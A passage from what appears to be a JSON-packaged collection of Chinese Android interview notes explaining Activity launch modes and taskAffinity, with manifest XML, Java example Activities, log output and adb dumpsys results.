\"onNewIntent：\" + getClass().getSimpleName() + \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n        dumpTaskAffinity();\n    }\n\n    protected void dumpTaskAffinity(){\n        try {\n            ActivityInfo info = this.getPackageManager()\n                 .getActivityInfo(getComponentName(), PackageManager.GET_META_DATA);\n            Log.i(\"maweiqi\", \"taskAffinity:\"+info.taskAffinity);\n        } catch (PackageManager.NameNotFoundException e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\n### **standard-默认模式**\n\n这个模式是默认的启动模式，即标准模式，在不指定启动模式的前提下，系统默认使用该模式启动Activity，每次启动一个Activity都会重写创建一个新的实例，不管这个实例存不存在，这种模式下，谁启动了该模式的Activity，该Activity就属于启动它的Activity的任务栈中。\n\n#### **配置形式：**\n\n```xml\n<activity android:name=\".SecondActivity\" android:launchMode=\"standard\"/>\n```\n\n#### **使用案例：**\n\n对于standard模式，android:launchMode可以不进行声明，因为默认就是standard。 SecondActivity的代码如下，入口MainActivity中有一个按钮进入该Activity，这个Activity中又有一个按钮启动SecondActivity。\n\n```java\npublic class MainActivity extends BaseActivity {\n\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.activity_main);\n    Button btn_standard= (Button)   findViewById(R.id.btn_standard);\n    btn_standard.setOnClickListener(new View.OnClickListener() {\n    @Override\n    public void onClick(View v) {\n       Intent intent = new Intent(MainActivity.this, SecondActivity.class);\n       startActivity(intent);\n    }\n   });\n        Log.i(\"maweiqi\", \"*****onCreate()方法******\");\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() + \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n    }\n}\n```\n\n```java\npublic class SecondActivity extends BaseActivity {\n    private Button jump;\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_second);\n\n        jump= (Button) findViewById(R.id.button3);\n        jump.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n              Intent intent = new Intent(SecondActivity.this, SecondActivity.class);\n              startActivity(intent);\n            }\n        });\n    }\n\n}\n```\n\n#### **测试方式：**\n\nMainActivity --> SecondActivity --> SecondActivity --> SecondActivity --> SecondActivity\n\n#### **输出的日志如下：**\n\n```\n  MainActivity TaskId: 2 hasCode:1249333352\nSecondActivity TaskId: 2 hasCode:1249526392\nSecondActivity TaskId: 2 hasCode:1249424816\nSecondActivity TaskId: 2 hasCode:1249439692\nSecondActivity TaskId: 2 hasCode:1249459968\n```\n\n#### **测试结果：**\n\n1）日志输出了四次SecondActivity的和一次MainActivity的，并且所属的任务栈的id都是2，这也验证了谁启动了该模式的Activity，该Activity就属于启动它的Activity的任务栈中这句话.因为启动SecondActivity的是MainActivity，而MainActivity的taskId是2，因此启动的SecondActivity也应该属于id为2的这个task，后续的3个SecondActivity是被SecondActivity这个对象启动的，因此也应该还是2，所以taskId都是2。\n\n2）并且每一个Activity的hashcode都是不一样的，说明他们是不同的实例，即“每次启动一个Activity都会重写创建一个新的实例”\n\n### **singleTop模式**\n\n这个模式下，如果新的activity已经位于栈顶，那么这个Activity不会被重新创建，同时它的onNewIntent方法会被调用，通过此方法的参数我们可以去除当前请求的信息。如果栈顶不存在该Activity的实例，则情况与standard模式相同。需要注意的是这个Activity它的onCreate()，onStart()方法不会被调用，因为它并没有发生改变。\n\n#### **配置形式：**\n\n```xml\n<activity android:name=\".SingleTopActivity\" android:launchMode=\"singleTop\"/>\n<activity android:name=\".OtherTopActivity\" android:launchMode=\"singleTop\"/>\n```\n\n#### **使用案例：**\n\n```java\npublic class SingleTopActivity extends BaseActivity {\n    private Button jump, jump2;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_singletop);\n\n        jump = (Button) findViewById(R.id.button);\n        jump2 = (Button) findViewById(R.id.button2);\n        jump.setOnClickListener(new View.OnClickListener() {\n       @Override\n        public void onClick(View v) {\n        Intent intent = new Intent(SingleTopActivity.this, SingleTopActivity.class);\n        startActivity(intent);\n        }\n      });\n       jump2.setOnClickListener(new View.OnClickListener() {\n       @Override\n        public void onClick(View v) {\n          Intent intent = new Intent(SingleTopActivity.this, OtherTopActivity.class);\n          startActivity(intent);\n          }\n       });\n        Log.i(\"maweiqi\", \"*****onCreate()方法******\");\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() + \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n    }\n}\n```\n\n```java\npublic class OtherTopActivity extends AppCompatActivity {\n    private Button jump;\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_other);\n\n        jump= (Button) findViewById(R.id.btn_other);\n        jump.setOnClickListener(new View.OnClickListener() {\n      @Override\n       public void onClick(View v) {\n         Intent intent = new Intent(OtherTopActivity.this, SingleTopActivity.class);\n         startActivity(intent);\n            }\n        });\n        Log.i(\"maweiqi\", \"*****onCreate()方法******\");\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() + \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n    }\n}\n```\n\n#### **操作和standard模式类似，直接贴输出日志**\n\n```\nonCreate：MainActivity TaskId: 3 hasCode:1249332216\nonCreate：SingleTopActivity TaskId: 3 hasCode:1249464444\nonNewIntent：SingleTopActivity TaskId: 3 hasCode:1249464444\nonNewIntent：SingleTopActivity TaskId: 3 hasCode:1249464444\nonNewIntent：SingleTopActivity TaskId: 3 hasCode:1249464444\n```\n\n#### **测试结果：**\n\n1）除了第一次进入SingleTopActivity这个Activity时，输出的是onCreate方法中的日志，后续的都是调用了onNewIntent方法，并没有调用onCreate方法，并且四个日志的hashcode都是一样的。\n\n2）说明栈中只有一个实例。这是因为第一次进入的时候，栈中没有该实例，则创建，后续的三次发现栈顶有这个实例，则直接复用，并且调用onNewIntent方法。\n\n3）那么假设栈中有该实例，但是该实例不在栈顶情况又如何呢？\n我们先从MainActivity中进入到SingleTopActivity，然后再跳转到OtherActivity中，再从OtherActivity中跳回SingleTopActivity，再从SingleTopActivity跳到SingleTopActivity中，看看整个过程的日志。\n\n#### **输出的日志如下：**\n\n```\nonCreate：SingleTopActivity TaskId: 4 hasCode:1249520904\nonCreate：OtherTopActivity TaskId: 4 hasCode:1249420244\nonCreate：SingleTopActivity TaskId: 4 hasCode:1249448776\nonCreate：SingleTopActivity TaskId: 4 hasCode:1249448776\nonNewIntent：SingleTopActivity TaskId: 4 hasCode:1249448776\n```\n\n#### **测试结果：**\n\n1）从MainActivity进入到SingleTopActivity时，新建了一个SingleTopActivity对象。\n\n2）从SingleTopActivity跳到OtherActivity时，新建了一个OtherActivity，此时task中存在三个Activity，从栈底到栈顶依次是MainActivity，SingleTopActivity，OtherActivity。\n\n3）此时如果再跳到SingleTopActivity，即使栈中已经有SingleTopActivity实例了，但是依然会创建一个新的SingleTopActivity实例，这一点从上面的日志的hashCode可以看出，此时栈顶是SingleTopActivity，如果再跳到SingleTopActivity，就会复用栈顶的SingleTopActivity，即会调用SingleTopActivity的onNewIntent方法。这就是上述日志的全过程。\n\n#### **对以上内容进行总结**\n\nstandard启动模式是默认的启动模式，每次启动一个Activity都会新建一个实例不管栈中是否已有该Activity的实例。\n\n#### **singleTop模式分3种情况**\n\n1）当前栈中已有该Activity的实例并且该实例位于栈顶时，不会新建实例，而是复用栈顶的实例，并且会将Intent对象传入，回调onNewIntent方法\n\n2）当前栈中已有该Activity的实例但是该实例不在栈顶时，其行为和standard启动模式一样，依然会创建一个新的实例\n\n3）当前栈中不存在该Activity的实例时，其行为同standard启动模式standard和singleTop启动模式都是在原任务栈中新建Activity实例，不会启动新的Task\n\n### **singleTask模式**\n\n在这个模式下，如果栈中存在这个Activity的实例就会复用这个Activity，不管它是否位于栈顶，复用时，会将它上面的Activity全部出栈，并且会回调该实例的onNewIntent方法。\n\n#### **配置形式：**\n\n```xml\n<activity android:name=\".SingleTaskActivity\" android:launchMode=\"singleTask\"/>\n<activity android:name=\".OtherTaskActivity\" android:launchMode=\"singleTask\"/>\n```\n\n#### **使用案例：**\n\n```java\npublic class SingleTaskActivity extends BaseActivity {\n    private Button jump,jump2;\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_task);\n        jump = (Button) findViewById(R.id.btn_task);\n        jump2 = (Button) findViewById(R.id.btn_other);\n        jump.setOnClickListener(new View.OnClickListener() {\n      @Override\n       public void onClick(View v) {\n      Intent intent = new Intent(SingleTaskActivity.this, SingleTaskActivity.class);\n      startActivity(intent);\n      }\n     });\n jump2.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n    Intent intent = new Intent(SingleTaskActivity.this, OtherTaskActivity.class);\n     startActivity(intent);\n   }\n });\n}}\n```\n\n```java\npublic class OtherTaskActivity extends BaseActivity {\n    private Button jump;\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_other_task);\n\n        jump= (Button) findViewById(R.id.btn_other);\n        jump.setOnClickListener(new View.OnClickListener() {\n      @Override\n    public void onClick(View v) {\n       Intent intent = new Intent(OtherTaskActivity.this, SingleTaskActivity.class);\n       startActivity(intent);\n    }\n});\n}\n}\n```\n\n#### **日志输出**\n\n```\nonCreate：MainActivity TaskId: 5 hasCode:1249321980\nonCreate：SingleTaskActivity TaskId: 5 hasCode:1249515136\nonCreate：OtherTaskActivity TaskId: 6 hasCode:1249386172\nonNewIntent：SingleTaskActivity TaskId: 6 hasCode:1249513244\n```\n\n#### **测试结果：**\n\n1）从MainActiviyty进入到SingleTaskActivity，再进入到OtherActivity后，此时栈中有3个Activity实例，并且SingleTaskActivity不在栈顶。\n\n2）而在OtherActivity跳到SingleTaskActivity时，并没有创建一个新的SingleTaskActivity，而是复用了该实例，并且回调了onNewIntent方法。并且原来的OtherActivity出栈了，具体见下面的信息，使用命令adb shell dumpsys activity activities可进行查看\n\n```\nRunning activities (most recent first):\n      TaskRecord{3c727e #11 A=com.maweiqi.task U=0 sz=2}\n        Run #1: ActivityRecord{5a00d1e u0 com.maweiqi.task/.SingleTaskActivity t11}\n        Run #0: ActivityRecord{2dce0b u0 com.maweiqi.task/.MainActivity t11}\n```\n\n可以看到当前栈中只有两个Activity，即原来栈中位于SingleTaskActivity 之上的Activity都出栈了。\n\n### **singleInstance-全局唯一模式**\n\n该模式具备singleTask模式的所有特性外，与它的区别就是，这种模式下的Activity会单独占用一个Task栈，具有全局唯一性，即整个系统中就这么一个实例，由于栈内复用的特性，后续的请求均不会创建新的Activity实例，除非这个特殊的任务栈被销毁了。以singleInstance模式启动的Activity在整个系统中是单例的，如果在启动这样的Activiyt时，已经存在了一个实例，那么会把它所在的任务调度到前台，重用这个实例。\n\n#### **singleInstance示例一配置形式：**\n\n```xml\n<activity android:name=\".MainActivity\" android:launchMode=\"standard\">\n    <intent-filter>\n       <action android:name=\"android.intent.action.MAIN\"/>\n\n      <category android:name=\"android.intent.category.LAUNCHER\"/>\n     </intent-filter>\n</activity>\n <activity android:name=\".SingleInstanceActivity\" android:launchMode=\"singleInstance\"/>\n```\n\n```java\npublic class MainActivity extends BaseActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        Button btn_standard= (Button) findViewById(R.id.btn_standard);\n        btn_standard.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                Intent intent = new Intent(MainActivity.this, SingleInstanceActivity.class);\n                startActivity(intent);\n            }\n        });\n\n    }\n}\n```\n\n```java\npublic class SingleInstanceActivity extends BaseActivity  {\n    @Override\n    public void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_instance);\n        Button button4 = (Button) findViewById(R.id.button4);\n        button4.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View view) {\n                Intent intent = new Intent(SingleInstanceActivity.this, MainActivity.class);\n                startActivity(intent);\n            }\n        });\n    }\n}\n```\n\n#### **测试方式：**\n\nMainActivity--> SingleInstanceActivity--> MainActivity--> SingleInstanceActivity\n\n#### **日志输出**\n\n```\nonCreate：MainActivity TaskId: 12 hasCode:201331476\nonCreate：SingleInstanceActivity TaskId: 13 hasCode:57987178\nonCreate：MainActivity TaskId: 12 hasCode:254253633\nonNewIntent：SingleInstanceActivity TaskId: 13 hasCode:57987178\n```\n\n#### **测试结果**\n\n1）两个SingleInstanceActivity是同一个实例。\n\n2） 第一次进入的MainActivity和第一次进入的SingleInstanceActivity位于不同的task中。\n\n3） 两个MainActivity是位于同一个task中的不同实例。\n\n4）这个结论与预期是相同的，即，singleInstance类型的Activity的实例只能有一个，而且它只允许存在于单独的一个task中。\n\n5）至于为什么两个MainActivity是位于同一个task中的不同实例，那是因为它是standard类型的，我们可以将ActivityTest修改为singleTop等其他类型进行测试。\n\n#### **singleInstance示例二配置形式：**\n\nMainActivity的模式改为\"singleTop\",修改后的manifest如下：\n\n```xml\n<activity android:name=\".MainActivity\" android:launchMode=\"singleTop\">\n    <intent-filter>\n       <action android:name=\"android.intent.action.MAIN\"/>\n\n      <category android:name=\"android.intent.category.LAUNCHER\"/>\n     </intent-filter>\n</activity>\n <activity android:name=\".SingleInstanceActivity\" android:launchMode=\"singleInstance\"/>\n```\n\nMainActivity进入SingleInstanceActivity,在从SingleInstanceActivity 进入MainActivity,在从MainActivity进入SingleInstanceActivity\n\n#### **日志输出**\n\n```\nonCreate：MainActivity TaskId: 15 hasCode:201331476\nonCreate：SingleInstanceActivity TaskId: 16 hasCode:57987178\nonNewIntent：MainActivity TaskId: 15 hasCode:201331476\nonNewIntent：SingleInstanceActivity TaskId: 16 hasCode:57987178\n```\n\n#### **测试结果**\n\n1）两个SingleInstanceActivity是同一个实例。\n\n2）第一次进入的MainActivity和第一次进入的SingleInstanceActivity位于不同的task中。\n\n3）两个MainActivity是同一个实例。\n\n### **launchMode模式总结**\n\n#### **1. standard**\n\n在该模式下，Activity可以拥有多个实例，并且这些实例既可以位于同一个task，也可以位于不同的task。\n\n#### **2.singleTop**\n\n该模式下，在同一个task中，如果存在该Activity的实例，并且该Activity实例位于栈顶(即，该Activity位于前端)，则调用startActivity()时，不再创建该Activity的示例；而仅仅只是调用Activity的onNewIntent()。否则的话，则新建该Activity的实例，并将其置于栈顶。\n\n#### **3. singleTask**\n\n只容许有一个包含该Activity实例的task存在！\n总的来说：singleTask的结论与android:taskAffinity相关(下章在讲),以A启动B来说\n\n1） 当A和B的taskAffinity相同时：第一次创建B的实例时，并不会启动新的task，而是直接将B添加到A所在的task；否则，将B所在task中位于B之上的全部Activity都删除，然后跳转到B中。\n2） 当A和B的taskAffinity不同时：第一次创建B的实例时，会启动新的task，然后将B添加到新建的task中；否则，将B所在task中位于B之上的全部Activity都删除，然后跳转到B中。\n\n#### **4. singleInstance**\n\n顾名思义，是单一实例的意思，即任意时刻只允许存在唯一的Activity实例，而且该Activity所在的task不能容纳除该Activity之外的其他Activity实例！\n它与singleTask有相同之处，也有不同之处。\n相同之处：任意时刻，最多只允许存在一个实例。\n不同之处：\n1） singleTask受android:taskAffinity属性的影响，而singleInstance不受android:taskAffinity的影响。\n2） singleTask所在的task中能有其它的Activity，而singleInstance的task中不能有其他Activity。\n3） 当跳转到singleTask类型的Activity，并且该Activity实例已经存在时，会删除该Activity所在task中位于该Activity之上的全部Activity实例；而跳转到singleInstance类型的Activity，并且该Activity已经存在时，不需要删除其他Activity，因为它所在的task只有该Activity唯一一个Activity实例。\n\n参考链接：[http://blog.csdn.net/sbsujjbcy/article/details/49360615](http://blog.csdn.net/sbsujjbcy/article/details/49360615)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/Activity/深刻剖析activity启动模式-2.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n- [深刻剖析activity启动模式(一)](http://www.jianshu.com/p/b33fd8c550bf)\n- [深刻剖析activity启动模式(二)](http://www.jianshu.com/p/e1ea9e542112)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### **实例验证singleTask启动模式**\n\n上篇文章将activity的四种启动模式就基本介绍完了。为了加深对启动模式的了解，下面会通过一个简单的例子进行验证。由以上的介绍可知，standard和singleTop这两种启动模式行为比较简单，所以在下面的例子中，通过taskAffinity会对singleTask和singleInstance着重介绍。\n\n#### **验证启动singleTask模式的activity时是否会创建新的任务**\n\n这个实例中有三个Activity,分别为：MainActivity，SecondActivity和ThirdActivity。\n\n#### **配置形式：**\n\n```xml\n<activity  android:label=\"@string/app_name\"\n                   android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n\n\n\n        <activity android:name=\".SecondActivity\"\n                  android:launchMode=\"singleTask\">\n            <intent-filter >\n                <action android:name=\"com.maweiqi.SecondActivity\"/>\n                <category android:name=\"android.intent.category.DEFAULT\"/>\n            </intent-filter>\n        </activity>\n\n        <activity android:name=\".ThirdActivity\"\n                  android:label=\"@string/app_name\" >\n        </activity>\n```\n\n#### **说明：**\n\nMainActivity和ThirdActivity都是标准的启动模式，而SecondActivity的启动模式为singleTask。\n\n#### **使用案例：**\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private static final String ACTIVITY_NAME = \"MainActivity\";\n    private static final String LOG_TAG = \"maweiqi\";\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        findViewById(R.id.button1).setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                Intent intent = new Intent(MainActivity.this, SecondActivity.class);\n\n                startActivity(intent);\n            }\n        });\n\n        int taskId = getTaskId();\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() + \n                \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n    }\n}\n```\n\n```java\npublic class SecondActivity extends AppCompatActivity {\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_second);\n\n        findViewById(R.id.button2).setOnClickListener(new View.OnClickListener() {\n           @Override\n            public void onClick(View v) {\n              Intent intent = new Intent(SecondActivity.this, ThirdActivity.class);\n              startActivity(intent);\n            }\n        });\n\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() + \" TaskId: \"\n        + getTaskId() + \" hasCode:\" + this.hashCode());\n\n    }\n}\n```\n\n```java\npublic class ThirdActivity extends AppCompatActivity {\n    @Override\n    public void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() + \n        \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n    }\n}\n```\n\n#### **测试方式：**\n\nMainActivity -->SecondActivity -->ThirdActivity。\n\n#### **输出的日志如下：**\n\n```\nonCreate：MainActivity TaskId: 21 hasCode:199785693\nonCreate：SecondActivity TaskId: 21 hasCode:171956091\n```\n\n#### **在命令行中执行以下命令 adb shell dumpsys activity ,有以下输出：**\n\n```\nRunning activities (most recent first):\n   TaskRecord{838c0b8 #21 A=com.open.android.task1 U=0 sz=2}\n      Run #1: ActivityRecord{abf1b0a u0 com.open.android.task1/.SecondActivity t21}\n      Run #0: ActivityRecord{4e579b u0 com.open.android.task1/.MainActivity t21}\n```\n\n#### **测试结果：**\n\n1）MainActivity和SecondActivity是启动在同一个任务中\n\n2）在SecondActivity增加一个taskAffinity属性，如下所示：\n\n```xml\n<activity android:name=\".SecondActivity\"\n                  android:launchMode=\"singleTask\"\n                  android:taskAffinity=\"com.maweiqi.second\">\n       <intent-filter >\n                <action android:name=\"com.maweiqi.SecondActivity\"/>\n                <category android:name=\"android.intent.category.DEFAULT\"/>\n        </intent-filter>\n  </activity>\n```\n\n#### **测试方式：**\n\nMainActivity -->SecondActivity -->ThirdActivity。\n\n#### **输出的日志如下：**\n\n```\nonCreate：MainActivity TaskId: 24 hasCode:199785693\nonCreate：SecondActivity TaskId: 25 hasCode:171956091\nonCreate：ThirdActivity TaskId: 25 hasCode:76684615\n```\n\n#### **在命令行中执行以下命令 adb shell dumpsys activity ,有以下输出：**\n\n```\nRunning activities (most recent first):\n   TaskRecord{844539b #25 A=com.maweiqi.second U=0 sz=2}\n      Run #2: ActivityRecord{2eb5348 u0 com.open.android.task1/.ThirdActivity t25}\n      Run #1: ActivityRecord{119f0df u0 com.open.android.task1/.SecondActivity t25}\n   TaskRecord{b730338 #24 A=com.open.android.task1 U=0 sz=1}\n      Run #0: ActivityRecord{2e05e2a u0 com.open.android.task1/.MainActivity t24}\n```\n\n#### **测试结果：**\n\n1）MainActivity和SecondActivity运行在不同的任务中了\n\n2）ThirdActivity和SecondActivity运行在同一个任务中\n\n在这里便引出了manifest文件中<activity>的一个重要属性，taskAffinity。在官方文档中可以得到关于taskAffinity的以下信息\n\n#### **taskAffinity**\n\n1）taskAffinity表示当前activity具有亲和力的一个任务（翻译不是很准确，原句为The task that the activity has an affinity for.），大致可以这样理解，这个 taskAffinity表示一个任务，这个任务就是当前activity所在的任务。\n\n2）在概念上，具有相同的affinity的activity（即设置了相同taskAffinity属性的activity）属于同一个任务。\n\n3） 一个任务的affinity决定于这个任务的根activity（root activity）的taskAffinity。\n\n4） 默认情况下，一个应用中的所有activity具有相同的taskAffinity，即应用程序的包名。我们可以通过设置不同的taskAffinity属性给应用中的activity分组，也可以把不同的 应用中的activity的taskAffinity设置成相同的值。\n\n5）为一个activity的taskAffinity设置一个空字符串，表明这个activity不属于任何task。\n\n#### **结果分析：**\n\n1）这就可以解释上面示例中的现象了，由第4条可知，MainActivity和SecondActivity具有不同的taskAffinity，MainActivity的taskAffinity为com.open.android.task1，SecondActivity的taskAffinity为com.maweiqi.second。\n\n2）当新启动的activity（SecondActivity）是以FLAG_ACTIVITY_NEW_TASK标志启动时（只有singleTask模式才会保证“single in task”,只使用FLAG_ACTIVITY_NEW_TASK并不保证“single in task”，或者说singleTask包含了FLAG_ACTIVITY_NEW_TASK，反之却不成立），framework会检索是否已经存在了一个affinity为com.maweiqi.second的任务（即一个TaskRecord对象）\n\n3）如果存在这样的一个任务，则检查在这个任务中是否已经有了一个SecondActivity的实例。\n\n3-1）如果已经存在一个SecondActivity的实例，则会重用这个任务和任务中的SecondActivity实例，将这个任务调到前台，清除位于SecondActivity上面的所有Activity，显示SecondActivity，并调用SecondActivity的onNewIntent（）；\n\n3-2）如果不存在一个SecondActivity的实例，会在这个任务中创建SecondActivity的实例，并调用onCreate()方法\n\n3-3）这是在设置了singleTask模式的情况下会这样，在没有设置singleTask模式的情况下（即默认的standard模式）使用FLAG_ACTIVITY_NEW_TASK，并不会清除位于SecondActivity上面的所有Activity，而是会在task的上面重新创建一个SecondActivity。也就是说此时task中有两个SecondActivity。\n\n4）如果不存在这样的一个任务，会创建一个新的affinity为com.maweiqi.second的任务，并且将SecondActivity启动到这个新的任务中\n\n上面讨论的是设置taskAffinity属性的情况,如果SecondActivity只设置启动模式为singleTask,而不设置taskAffinity,即三个Activity的taskAffinity相同,都为应用的包名，那么SecondActivity是不会开启一个新任务的，framework中的判定过程如下：\n\n1）在MainActivity启动SecondActivity时,发现启动模式为singleTask,那么设定他的启动标志为FLAG_ACTIVITY_NEW_TASK\n\n2）然后获得SecondActivity的taskAffinity,即为包名com.open.android.task1检查是否已经存在一个affinity为com.open.android.task1的任务,这个任务是存在的,就是MainActivity所在的任务,这个任务是在启动MainActivity时开启的\n\n3）既然已经存在这个任务,就检索在这个任务中是否存在一个SecondActivity的实例,发现不存在在这个已有的任务中启动一个SecondActivity的实例\n\n为了作一个清楚的比较,列出SecondActivity启动模式设为singleTask,并且taskAffinity设为com.maweiqi.second时的启动过程\n\n1）在MainActivity启动SecondActivity时，发现启动模式为singleTask，那么设定他的启动标志为FLAG_ACTIVITY_NEW_TASK\n\n2）然后获得SecondActivity的taskAffinity,即com.maweiqi.second检查是否已经存在一个affinity为com.maweiqi.second的任务,这个任务是不存在的创建一个新的affinity为com.maweiqi.second的任务,并且将SecondActivity启动到这个新的任务中\n\nframework中对任务和activity的调度是很复杂的,尤其是把启动模式设为singleTask或者以FLAG_ACTIVITY_NEW_TASK标志启动时.所以,在使用singleTask和FLAG_ACTIVITY_NEW_TASK时,要仔细测试应用程序.\n\n#### **实例验证将两个不同app中的不同的singleTask模式的Activity的taskAffinity设成相同**\n\n官方文档中提到，可以把不同的 应用中的activity的taskAffinity设置成相同的值，这样的话这两个activity虽然不在同一应用中，却会在运行时分配到同一任务中，下面对此进行验证，在这里，会使用上面的示例,并创建一个新的示例AndroidTaskTest3。AndroidTaskTest3由两个activity组成，分别为MianActivity和OtherActivity，在MianActivity中点击按钮会启动OtherActivity,两个应用代码和布局一样，仅列出清单文件，两份清单文件如下：\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n          package=\"com.open.android.task1\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n       <activity android:name=\".SecondActivity\"\n                  android:launchMode=\"singleTask\"\n                  android:taskAffinity=\"com.maweiqi.second\">\n            <intent-filter >\n                <action android:name=\"com.maweiqi.SecondActivity\"/>\n                <category android:name=\"android.intent.category.DEFAULT\"/>\n            </intent-filter>\n        </activity>\n        <activity android:name=\".ThirdActivity\"/>\n    </application>\n</manifest>\n```\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n          package=\"com.open.android.task3\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\"/>\n\n                <category android:name=\"android.intent.category.LAUNCHER\"/>\n            </intent-filter>\n        </activity>\n        <activity\n            android:name=\".OtherActivity\"\n            android:taskAffinity=\"com.maweiqi.second\"\n            android:launchMode=\"singleTask\">\n        </activity>\n    </application>\n\n</manifest>\n```\n\n可以看到OtherActivity和SecondActivity的启动模式都被设置为singleTask,并且taskAffinity属性被设置为com.maweiqi.second.现在将这两个应用安装在设备上。执行以下操作：\n\n#### **测试方式：**\n\n1）MainActivity --> SecondActivity\n\n2）MainActivity --> 